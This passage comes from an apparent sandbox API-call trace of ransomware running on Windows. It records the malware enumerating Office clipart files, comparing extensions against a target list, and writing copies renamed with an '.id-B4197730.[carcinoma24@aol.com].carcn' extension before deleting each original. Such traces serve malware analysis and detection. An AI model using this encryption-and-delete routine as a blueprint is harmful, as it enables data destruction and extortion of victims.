(lpString=".ppt") returned 4 [0283.263] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0283.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 68 [0283.263] lstrlenW (lpString=".zip") returned 4 [0283.263] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0283.263] lstrlenW (lpString=".rar") returned 4 [0283.263] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0283.263] lstrlenW (lpString=".bz2") returned 4 [0283.263] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0283.263] lstrlenW (lpString=".7z") returned 3 [0283.263] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0283.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 68 [0283.263] lstrlenW (lpString=".dbf") returned 4 [0283.264] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0283.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 68 [0283.264] lstrlenW (lpString=".1cd") returned 4 [0283.264] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0283.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 68 [0283.264] lstrlenW (lpString=".jpg") returned 4 [0283.264] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0283.264] GetFileSizeEx (in: hFile=0x524, lpFileSize=0x295ff14 | out: lpFileSize=0x295ff14*=4396) returned 1 [0283.500] CloseHandle (hObject=0x524) returned 1 [0283.500] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02075_.wmf")) returned 0x220 [0283.582] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02075_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0283.582] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02075_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0283.583] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.583] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.583] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02075_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8 [0283.584] GetLastError () returned 0x0 [0283.584] ReadFile (in: hFile=0x558, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0x112c, lpOverlapped=0x0) returned 1 [0283.586] WriteFile (in: hFile=0x4a8, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0x1130, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0x1130, lpOverlapped=0x0) returned 1 [0283.588] ReadFile (in: hFile=0x558, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0x0, lpOverlapped=0x0) returned 1 [0283.588] WriteFile (in: hFile=0x4a8, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0xec, lpOverlapped=0x0) returned 1 [0283.588] SetEndOfFile (hFile=0x4a8) returned 1 [0283.589] CloseHandle (hObject=0x4a8) returned 1 [0283.589] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.589] SetEndOfFile (hFile=0x558) returned 1 [0283.593] CloseHandle (hObject=0x558) returned 1 [0283.593] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0283.594] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02075_.wmf")) returned 1 [0283.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 68 [0283.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 68 [0283.595] lstrlenW (lpString=".doc") returned 4 [0283.595] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0283.595] lstrlenW (lpString=".docx") returned 5 [0283.595] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0283.595] lstrlenW (lpString=".pdf") returned 4 [0283.595] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0283.595] lstrlenW (lpString=".xls") returned 4 [0283.595] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0283.595] lstrlenW (lpString=".xlsx") returned 5 [0283.595] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0283.595] lstrlenW (lpString=".ppt") returned 4 [0283.595] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0283.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 68 [0283.595] lstrlenW (lpString=".zip") returned 4 [0283.595] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0283.595] lstrlenW (lpString=".rar") returned 4 [0283.595] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0283.595] lstrlenW (lpString=".bz2") returned 4 [0283.595] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0283.596] lstrlenW (lpString=".7z") returned 3 [0283.596] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0283.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 68 [0283.596] lstrlenW (lpString=".dbf") returned 4 [0283.596] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0283.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 68 [0283.596] lstrlenW (lpString=".1cd") returned 4 [0283.596] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0283.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 68 [0283.596] lstrlenW (lpString=".jpg") returned 4 [0283.596] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0283.597] GetFileSizeEx (in: hFile=0x558, lpFileSize=0x295ff14 | out: lpFileSize=0x295ff14*=3128) returned 1 [0283.597] CloseHandle (hObject=0x558) returned 1 [0283.597] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02161_.wmf")) returned 0x220 [0283.597] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02161_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0283.598] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02161_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0283.598] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.599] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.599] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02161_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8 [0283.600] GetLastError () returned 0x0 [0283.600] ReadFile (in: hFile=0x558, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0xc38, lpOverlapped=0x0) returned 1 [0283.605] WriteFile (in: hFile=0x4a8, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0xc40, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0xc40, lpOverlapped=0x0) returned 1 [0283.606] ReadFile (in: hFile=0x558, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0x0, lpOverlapped=0x0) returned 1 [0283.606] WriteFile (in: hFile=0x4a8, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0xec, lpOverlapped=0x0) returned 1 [0283.606] SetEndOfFile (hFile=0x4a8) returned 1 [0283.607] CloseHandle (hObject=0x4a8) returned 1 [0283.607] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.607] SetEndOfFile (hFile=0x558) returned 1 [0283.611] CloseHandle (hObject=0x558) returned 1 [0283.611] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0283.612] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02161_.wmf")) returned 1 [0283.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 68 [0283.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 68 [0283.613] lstrlenW (lpString=".doc") returned 4 [0283.613] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0283.613] lstrlenW (lpString=".docx") returned 5 [0283.613] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0283.613] lstrlenW (lpString=".pdf") returned 4 [0283.613] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0283.613] lstrlenW (lpString=".xls") returned 4 [0283.613] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0283.613] lstrlenW (lpString=".xlsx") returned 5 [0283.613] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0283.614] lstrlenW (lpString=".ppt") returned 4 [0283.614] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0283.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 68 [0283.614] lstrlenW (lpString=".zip") returned 4 [0283.614] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0283.614] lstrlenW (lpString=".rar") returned 4 [0283.614] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0283.614] lstrlenW (lpString=".bz2") returned 4 [0283.614] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0283.614] lstrlenW (lpString=".7z") returned 3 [0283.614] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0283.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 68 [0283.614] lstrlenW (lpString=".dbf") returned 4 [0283.614] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0283.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 68 [0283.614] lstrlenW (lpString=".1cd") returned 4 [0283.614] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0283.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 68 [0283.614] lstrlenW (lpString=".jpg") returned 4 [0283.614] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0283.615] GetFileSizeEx (in: hFile=0x558, lpFileSize=0x295ff14 | out: lpFileSize=0x295ff14*=2070) returned 1 [0283.615] CloseHandle (hObject=0x558) returned 1 [0283.615] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\flap.wmf")) returned 0x220 [0283.615] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\flap.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0283.616] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\flap.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0283.617] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.617] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.617] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\flap.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8 [0283.629] GetLastError () returned 0x0 [0283.629] ReadFile (in: hFile=0x558, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0x816, lpOverlapped=0x0) returned 1 [0283.631] WriteFile (in: hFile=0x4a8, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0x820, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0x820, lpOverlapped=0x0) returned 1 [0283.632] ReadFile (in: hFile=0x558, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0x0, lpOverlapped=0x0) returned 1 [0283.632] WriteFile (in: hFile=0x4a8, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0xe4, lpOverlapped=0x0) returned 1 [0283.836] SetEndOfFile (hFile=0x4a8) returned 1 [0283.836] CloseHandle (hObject=0x4a8) returned 1 [0283.836] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.836] SetEndOfFile (hFile=0x558) returned 1 [0283.840] CloseHandle (hObject=0x558) returned 1 [0283.840] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0284.232] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\flap.wmf")) returned 1 [0284.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF") returned 64 [0284.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF") returned 64 [0284.528] lstrlenW (lpString=".doc") returned 4 [0284.528] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0284.528] lstrlenW (lpString=".docx") returned 5 [0284.528] lstrcmpiW (lpString1=".docx", lpString2="P.WMF") returned -1 [0284.528] lstrlenW (lpString=".pdf") returned 4 [0284.528] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0284.528] lstrlenW (lpString=".xls") returned 4 [0284.528] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0284.529] lstrlenW (lpString=".xlsx") returned 5 [0284.529] lstrcmpiW (lpString1=".xlsx", lpString2="P.WMF") returned -1 [0284.529] lstrlenW (lpString=".ppt") returned 4 [0284.529] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0284.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF") returned 64 [0284.529] lstrlenW (lpString=".zip") returned 4 [0284.529] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0284.529] lstrlenW (lpString=".rar") returned 4 [0284.529] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0284.529] lstrlenW (lpString=".bz2") returned 4 [0284.529] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0284.529] lstrlenW (lpString=".7z") returned 3 [0284.529] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0284.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF") returned 64 [0284.529] lstrlenW (lpString=".dbf") returned 4 [0284.529] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0284.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF") returned 64 [0284.529] lstrlenW (lpString=".1cd") returned 4 [0284.529] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0284.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF") returned 64 [0284.529] lstrlenW (lpString=".jpg") returned 4 [0284.529] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0284.531] GetFileSizeEx (in: hFile=0x530, lpFileSize=0x295ff14 | out: lpFileSize=0x295ff14*=3016) returned 1 [0284.531] CloseHandle (hObject=0x530) returned 1 [0284.531] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00276_.wmf")) returned 0x220 [0284.531] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00276_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0284.532] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00276_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0284.532] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.532] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.532] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00276_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0284.533] GetLastError () returned 0x0 [0284.533] ReadFile (in: hFile=0x530, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0xbc8, lpOverlapped=0x0) returned 1 [0284.568] WriteFile (in: hFile=0x544, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0xbd0, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0xbd0, lpOverlapped=0x0) returned 1 [0284.569] ReadFile (in: hFile=0x530, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0x0, lpOverlapped=0x0) returned 1 [0284.570] WriteFile (in: hFile=0x544, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0xec, lpOverlapped=0x0) returned 1 [0284.570] SetEndOfFile (hFile=0x544) returned 1 [0284.570] CloseHandle (hObject=0x544) returned 1 [0284.570] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.570] SetEndOfFile (hFile=0x530) returned 1 [0284.595] CloseHandle (hObject=0x530) returned 1 [0284.595] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0284.781] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00276_.wmf")) returned 1 [0284.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 68 [0284.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 68 [0284.823] lstrlenW (lpString=".doc") returned 4 [0284.824] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0284.824] lstrlenW (lpString=".docx") returned 5 [0284.824] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0284.824] lstrlenW (lpString=".pdf") returned 4 [0284.824] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0284.824] lstrlenW (lpString=".xls") returned 4 [0284.824] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0284.824] lstrlenW (lpString=".xlsx") returned 5 [0284.824] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0284.824] lstrlenW (lpString=".ppt") returned 4 [0284.824] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0284.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 68 [0284.824] lstrlenW (lpString=".zip") returned 4 [0284.824] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0284.824] lstrlenW (lpString=".rar") returned 4 [0284.824] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0284.824] lstrlenW (lpString=".bz2") returned 4 [0284.824] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0284.824] lstrlenW (lpString=".7z") returned 3 [0284.824] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0284.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 68 [0284.824] lstrlenW (lpString=".dbf") returned 4 [0284.824] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0284.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 68 [0284.824] lstrlenW (lpString=".1cd") returned 4 [0284.825] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0284.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 68 [0284.825] lstrlenW (lpString=".jpg") returned 4 [0284.825] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0284.907] GetFileSizeEx (in: hFile=0x438, lpFileSize=0x295ff14 | out: lpFileSize=0x295ff14*=1468) returned 1 [0284.907] CloseHandle (hObject=0x438) returned 1 [0284.907] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00601_.wmf")) returned 0x220 [0284.907] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00601_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0284.907] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00601_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x438 [0284.908] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.908] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.908] CreateFileW (lpFileName="C:\\Program Files\\Microsoft 